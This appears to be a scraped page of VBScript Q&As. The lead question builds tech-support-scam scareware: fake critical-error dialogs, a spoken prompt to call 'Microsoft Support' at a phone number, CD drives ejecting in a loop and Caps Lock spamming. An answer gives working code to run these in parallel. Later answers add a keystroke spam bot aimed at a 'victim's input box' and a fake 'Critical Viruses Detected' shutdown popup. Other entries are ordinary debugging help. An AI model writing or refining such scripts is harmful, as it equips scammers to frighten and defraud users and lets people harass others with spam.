How to run two do loops at the same time on VBScript - vbscript

I'm trying to make it so my code runs 2 do loops at a time so it can run the open disk drive code and spam caps lock code at the same time. Any way I could do this?
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
x=msgbox("Keyboard error with key CAPS LOCK",0,"Critical Error")
x=msgbox("Error with CD Drive",0,"Critical Error")
Set wshShell =wscript.CreateObject("WScript.Shell")
message= "Critical Disk Drive Error Alert Call Microsoft Support at 0 3 4 4 8 0 0 2 4 0 0 to resolve the issue"
message1= "Caps Lock key Error"
Dim message, sapi
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message
sapi.Speak message1
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wscript.sleep 100
loop

Take a look at the below example:
CheckTask ' always at the begining of the script
LaunchTask "EjectCdRoms" ' friendly keep CD-ROMs opened
LaunchTask "MsgA" ' friendly show the message A
LaunchTask "MsgB" ' friendly show the message B
LaunchTask "Speak" ' friendly speak
' procedures to be launched asynchronously
Sub EjectCdRoms()
Dim i
On Error Resume Next
Do
With CreateObject("WMPlayer.OCX.7").cdromCollection
For i = 0 To .Count - 1
.Item(d).Eject
Next
End With
WScript.Sleep 500
Loop
End Sub
Sub MsgA()
Do
WScript.Sleep 3000
MsgBox "Critical Disk Drive Error Alert Call Microsoft Support at 03448002400 to resolve the issue", 48, "Blah"
Loop
End Sub
Sub MsgB()
Do
WScript.Sleep 5000
MsgBox "Caps Lock key Error", 48, "Blah"
Loop
End Sub
Sub Speak()
Do
With CreateObject("SAPI.SpVoice")
WScript.Sleep 4000
.Speak "Critical Disk Drive Error Alert Call Microsoft Support at 0 3 4 4 8 0 0 2 4 0 0 to resolve the issue"
WScript.Sleep 4000
.Speak "Caps Lock key Error"
End With
Loop
End Sub
' utility procedures, do not modify
Sub CheckTask()
If WScript.Arguments.Named.Exists("task") Then
On Error Resume Next
Execute WScript.Arguments.Named.Item("task")
WScript.Quit
End If
End Sub
Sub LaunchTask(sTaskName)
CreateObject("WScript.Shell").Exec """" & WScript.FullName & """ """ & WScript.ScriptFullName & """ ""/task:" & sTaskName & """"
End Sub

Related

How to open and then close the optical disk drive single time (with VBScript)

I need to open and then after a few seconds, close the CD drive, with VBS.
All I know now, is only to eject the drive with this code
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
colCDROMs.Item(i).Eject
End If
a question this simple may seem dumb, but forgive me I'm not a programmer.
Give a try for this vbscript :
Option Explicit
'To open the CD-Rom
Call Open_Close_CD()
'Make a pause for 20 seconds and you can modify it for your needs
Call Pause(20)
'To Close the CD-Rom
Call Open_Close_CD()
'****************************************
Sub Open_Close_CD()
Dim oWMP,colCDROMs,i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
colCDROMs.Item(i).Eject
End If
End Sub
'****************************************
Sub Pause(NSeconds)
Wscript.Sleep(NSeconds*1000)
End Sub
'****************************************
try This
Set TI = CreateObject("WMPlayer.OCX.7" )
Set CDROM = TI.cdromCollection
if CDROM.Count >= 1 then
For i = 0 to CDROM.Count - 1
CDROM.Item(i).Eject
Next ' CDTRAY
For i = 0 to CDROM.Count - 1
CDROM.Item(i).Eject
Next ' CDTRAY
End If
this works for me.

VBS Object required error, 800A01A8

Hello I'm trying to debug this script that I inherited below. The error is on line 71 char 6. Object required 'oFile'
I don't have any vbs experience so please be gentle. This script takes a scan and uploads it to a doc archive server, gives it unique filename etc. I haven't figured out what 'ofile' is yet :/
'Feb 18, 2005
Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
hiddenCount = 0
'Wscript.Echo Wscript.Arguments(0)
If Wscript.Arguments.Count = 1 And oFSO.FolderExists(Wscript.Arguments(0)) Then
Set scanFiles = oFSO.GetFolder(Wscript.Arguments(0)).Files
For Each oFile In scanFiles
If oFile.Attributes and 2 Then
hiddenCount = hiddenCount + 1
End If
Next
Else
Set scanFiles = WScript.Arguments
End If
fileCount = scanFiles.Count - hiddenCount
'Wscript.Echo hiddenCount
'WScript.Echo fileCount
'WScript.Quit()
Set oIE = WScript.CreateObject("InternetExplorer.Application")
oIE.left=50 ' window position
oIE.top = 100 ' and other properties
oIE.height = 300
oIE.width = 350
oIE.menubar = 0 ' no menu
oIE.toolbar = 0
oIE.statusbar = 1
oIE.navigate "http://gisweb/apps/doc_archive/scan_login.php?file_count="&fileCount
'WScript.Echo fileCount
oIE.visible = 1
' Important: wait till MSIE is ready
Do While (oIE.Busy)
Loop
' Wait till the user clicks the OK button
' Use the CheckVal function
' Attention: Thanks to a note from M. Harris, we can make
' the script a bit more fool proof. We need to catch the case
' that the user closes the form without clicking the OK button.
On Error Resume Next
Do ' Wait till OK button is clicked
WScript.Sleep 400
Loop While (oIE.document.script.CheckVal()=0)
' If an error occur, because the form is closed, quit the
' script
If err <> 0 Then
WScript.Echo "Sorry, a run-time error occured during checking" & _
" the OK button " & vbCRLF & _
"Error: " & err.number & " " & _
"I guess the form was getting closed..."
WScript.Quit ' end script
End if
On Error Goto 0 ' switch error handling off
' User has clicked the OK button, retrieve the values
docList = oIE.Document.ValidForm.doc_id_list.Value
'MsgBox doc_id
For i = 0 To 100000
x = 1
Next
oIE.Quit() ' close Internet Explorer
Set oIE = Nothing ' reset object variable
docArray = Split(docList,",")
i = 0
For Each oFile In scanFiles
If Not oFile.Attributes And 2 Then **ERROR HERE**
ext = oFSO.GetExtensionName(oFile)
filename = "p"&right("000000"&docArray(i),6)&"."&ext
base = Int(docArray(i) / 500) * 500
subdir = "d"&right("000000"&base,6)
oFSO.CopyFile oFile, "\\ditgis02\Enterprise_GIS\doc_archive\raw\"&subdir&"\"&filename, True
i = i + 1
End If
Next
If Wscript.Arguments.Count = 1 And oFSO.FolderExists(Wscript.Arguments(0)) Then
Set WshShell = WScript.CreateObject("WScript.Shell")
intButton = WshShell.Popup (fileCount&" file(s) logged and copied! Do you want to delete temporary scan files?",0,"Done!",4)
If intButton = 6 Then
For Each oFile In scanFiles
oFile.Delete
Next
End If
Else
WScript.Echo(fileCount&" file(s) logged and copied!")
End If
WScript.Quit() ' Ready
' End
It looks the problem may arise if your initial test fails:
If Wscript.Arguments.Count = 1 And oFSO.FolderExists(Wscript.Arguments(0)) Then
...
Else
Set scanFiles = WScript.Arguments
End If
You're setting the scanFiles variable to a collection of arguments, not files. Later on, near line 71 (where your error occurs), you're treating scanFiles as if it's a Files collection and attempting to access the Attributes property of one of its File objects:
For Each oFile In scanFiles
If Not oFile.Attributes And 2 Then **ERROR HERE**
...
Next
This won't be possible since scanFiles is an Arguments collection instead. So I think you need to fix your initial Else clause to either terminate your script or provide some kind of "default" Files collection.

VBSCRIPT - SWbemObjectSet error 8004100C

I wrote a script to detect when I have a second monitor connected, and to switch Rainmeter layouts accordingly. However, occasionally when I put my computer to sleep, then wake it up, I get the following error:
---------------------------
Windows Script Host
---------------------------
Script: C:\Users\Tim\Documents\Shortcuts\Create\scripting\commandSniffer\detectMonitor.vbs
Line: 12
Char: 2
Error: Not supported
Code: 8004100C
Source: SWbemObjectSet
---------------------------
OK
---------------------------
All I really want to do is keep my script from crashing when I sleep my computer. If there's not an easy fix for this, how can I catch the error in the script and ignore it? Full source code below:
strComputer = "Localhost"
singleMon = "myLayout"
doubleMon = "myLayout(2monitor)"
rainmeterPath = """C:\Program Files\Rainmeter\Rainmeter.exe"" !LoadLayout "
previousState = 1
set wshshell = createobject("wscript.shell")
do
Set objWMI = GetObject("winmgmts:\\" & strComputer & "\root\wmi")
Set colItems = objWMI.ExecQuery ("SELECT * FROM WMIMonitorID")
'Wscript.Echo strComputer & " has " & colItems.count & " monitors configured."
if not isnull(colItems) and previousState <> colItems.count then
if colItems.count = 2 then
wshshell.run rainmeterPath & doubleMon,0
else
wshshell.run rainmeterPath & singleMon,0
end if
previousState = colItems.count
else
wscript.sleep 9000
end if
wscript.sleep 1000
loop
On Error Resume Next
transfers error handling from vbscript to you. You now need to test for errors after every call that might cause one.
If err.number <> 0 then
'fix error or ignore
err.clear
'If decide to crash
'err.raise(err.number, blah, blah, blah)
'wscript.Quit
End If
Error handling is a chain. From lowest function call up to the app. Windows looks for error handlers, if it can't find one it crashes. Err.raise allows you to propagate errors up the chain.

How to make a vbs spam bot?

I'm trying to make a spam bot, the basic function works fine but the counter isn't. It should go from and imputed number [i] and stop at another [count] and if count < i; it should count backwards. But it is not stopping at count, it keeps going, It won't count backwards either.
set shl = createobject("wscript.shell")
spam = inputbox("What do you want to spam?")
if spam = "/count" then
i = inputbox("Start at what number?")
count = inputbox("Stop at what number?")
wscript.sleep 2500
if count > i then
do while count > i
shl.sendkeys i
wscript.sleep 10
shl.sendkeys "{ENTER}"
wscript.sleep 10
i = i + 1
loop
elseif count < i then
do while count < i
shl.sendkeys i
wscript.sleep 10
shl.sendkeys "{ENTER}"
wscript.sleep 10
i = i - 1
loop
else
shl.sendkeys i
end if
end if
else
count = inputbox("How many times?")
wscript.sleep 2500
do while count > 0
shl.sendkeys spam
wscript.sleep 10
shl.sendkeys "{ENTER}"
wscript.sleep 10
count = count - 1
loop
end if
I'm also going to make a function where you can send multiple lines. Any other ideas?
set shell = createobject ("wscript.shell")
strtext = inputbox ("Write down your message you like to spam")
strtext2 = inputbox ("Message 2")
strtext3 = inputbox ("Message 3")
strtext4 = inputbox ("Message 4")
strtext5 = inputbox ("Message 5")
strtimes = inputbox ("How many times do you like to spam? Type in 1 less than the amount of msgs you want to spam. eg; if want to spam 1000, type 999.Max no.1999")
strspeed = inputbox ("Type 1000 for 1 msg per second 100 for 10 msg per second etc type 1 for fastest")
strtimeneed = inputbox ("How many SECONDS do you need to get to your victims input box? Click where you want to spam.")
If not isnumeric (strtimes & strspeed & strtimeneed) then
msgbox "You entered something else then a number on Times, Speed and/or Time need. shutting down"
wscript.quit
End If
strtimeneed2 = strtimeneed * 1000
do
msgbox "You have " & strtimeneed & " seconds to get to your input area where you are going to spam."
wscript.sleep strtimeneed2
for i=0 to strtimes
shell.sendkeys (strtext & "{enter}")
shell.sendkeys (strtext2 & "{enter}")
shell.sendkeys (strtext3 & "{enter}")
shell.sendkeys (strtext4 & "{enter}")
shell.sendkeys (strtext5 & "{enter}")
wscript.sleep strspeed
Next
wscript.sleep strspeed * strtimes / 10
returnvalue=MsgBox ("Want to spam again?",36)
If returnvalue=6 Then
End If
If returnvalue=7 Then
msgbox "Spambox is shutting down"
wscript.quit
End IF
strtext = inputbox ("Write down your message you like to spam")
strtimes = inputbox ("How many times do you like to spam? Type in 1 less than the amount of msgs you want to spam. eg; if want to spam 1000, type 999")
strspeed = inputbox ("Type 1000 for 1 msg per second 100 for 10 msg per second etc type 1 for fastest")
strtimeneed = inputbox ("How many SECONDS do you need to get to your victims input box? Click where you want to spam")
loop
This is my edit of a code I found online that allows for multiple lines
I think on the countdown you put else if, instead of Elseif, i have also changed some of the indentation to make it easier to read

VBScript to Display Countdown using Vbscript Graphical Elements

I wanted to display a MessageBox which displays countdown from 10 to 1 and autocloses after 10 seconds. As Msgbox in vbscript passes code execution untill the user acts on it i tried it using Popup in Wscript Shell Object
Dim counter
Dim oShell
counter = 10
Set oShell= CreateObject("Wscript.Shell")
While counter > 0
oShell.Popup " Left " & counter & " Seconds",1,"Remind"
counter = counter-1
Wend
But it auto-closes for every second and opens a new popup is there any way i can display the countdown and autoclose using the available GUI elements in vb script
Afraid not, the popup is modal & can't be interacted with while its displayed so there is no way to update its existing content.
If you want a more flexible UI you will need to use something different, the console or HTML in an HTA.
You can use Internet Explorer to create a non-modal display.
Set oIE = CreateObject("InternetExplorer.Application")
With oIE
.navigate("about:blank")
.Document.Title = "Countdown" & string(100, chrb(160))
.resizable=0
.height=200
.width=100
.menubar=0
.toolbar=0
.statusBar=0
.visible=1
End With
' wait for page to load
Do while oIE.Busy
wscript.sleep 500
Loop
' prepare document body
oIE.document.body.innerHTML = "<div id=""countdown"" style=""font: 36pt sans-serif;text-align:center;""></div>"
' display the countdown
for i=10 to 0 step -1
oIE.document.all.countdown.innerText= i
wscript.sleep 1000
next
oIE.quit
I have a code, but it might not help
dTimer=InputBox("Enter timer interval in minutes","Set Timer") 'minutes
do until IsNumeric(dTimer)=True
dTimer=InputBox("Invalid Entry" & vbnewline & vbnewline & _
"Enter timer interval in minutes","Set Timer") 'minutes
loop
flop=InputBox("What do you want to set the timer for?")
if dTimer<>"" then
do
WScript.Sleep dTimer*60*1000 'convert from minutes to milliseconds
Set Sapi = Wscript.CreateObject("SAPI.spVoice")
Sapi.speak "Time's up."
t=MsgBox(flop & vbnewline & vbnewline & "Restart Timer?", _
vbYesNo, "It's been " & dTimer &" minute(s)")
if t=6 then 'if yes
'continue loop
else 'exit loop
exit do
end if
loop
end if
please excuse my weird variable names.
This code is from https://wellsr.com/vba/2015/vbscript/vbscript-timer-with-wscript-sleep/
It actually is possible to edit the countdown, very easily for VBScript, so I don't understand what the problem is.
Here's the code:
Dim counter
Dim oShell
counter =InputBox("")
#if you add =InputBox you can have the choice to type in the amount of times the popup repeats#
Set oShell= CreateObject("Wscript.Shell")
While counter > 0
oShell.Popup " Time until shutdown " & counter & " Seconds",(1),"[3]Critical Viruses Detected
#and if you change the (1) to whatever number you want then you can change how fast the popup repeats and if you join this with the "open command" then you can make a gnarly nondangerous virus#
counter = counter-1
Wend

Resources